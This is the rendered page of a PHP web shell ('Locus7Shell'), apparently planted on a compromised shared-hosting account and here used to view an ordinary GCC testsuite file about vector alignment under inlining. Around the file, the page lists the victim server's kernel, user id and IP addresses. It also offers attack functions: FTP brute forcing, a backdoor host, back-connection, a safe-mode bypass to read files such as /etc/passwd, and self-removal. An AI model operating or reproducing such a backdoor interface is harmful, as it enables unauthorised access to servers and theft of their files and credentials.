Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/vmx/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     gcc-bug-i.c (1.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include "harness.h"

/* This problem occurs if a function is inlined.  When its local
   variables get allocated space on the caller's (the function to
   which it is inlined) stack frame, they don't get 16-byte alignment
   even if they need it.  Here's an example with a union (that's the
   first case I uncovered, but it's probably a general occurrence on
   inlining).  */

#define N 10
/* adjust N = size of buffer to try to get bad alignment for inlined union */

#define DO_INLINE __attribute__ ((always_inline))
#define DONT_INLINE __attribute__ ((noinline))

#ifdef __LITTLE_ENDIAN__
static inline DO_INLINE int inline_me(vector signed short data)
{
  union {vector signed short v; signed short s[8];} u;
  signed short x;
  unsigned char x1, x2;

  u.v = data;
  x = u.s[7];
  x1 = (x >> 8) & 0xff;
  x2 = x & 0xff;
  return ((x2 << 8) | x1);
}
#else
static inline DO_INLINE int inline_me(vector signed short data) 
{
  union {vector signed short v; signed short s[8];} u;
  u.v = data;
  return u.s[7];
}
#endif

static DONT_INLINE int foo(vector signed short data)
{
  int c, buffer[N], i;
  c = inline_me(data);
  for (i=0; i<N; i++) {
    if (i == 0)
      buffer[i] = c;
    else
      buffer[i] = buffer[i-1] + c*i;
  }
  return buffer[N-1];
}

static void test()
{
  check(foo((vector signed short)
        ((vector unsigned char){1,2,3,4,5,6,7,8,
                   9,10,11,12,13,14,15,16})) == 0x2b4e0,
    "foo");
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--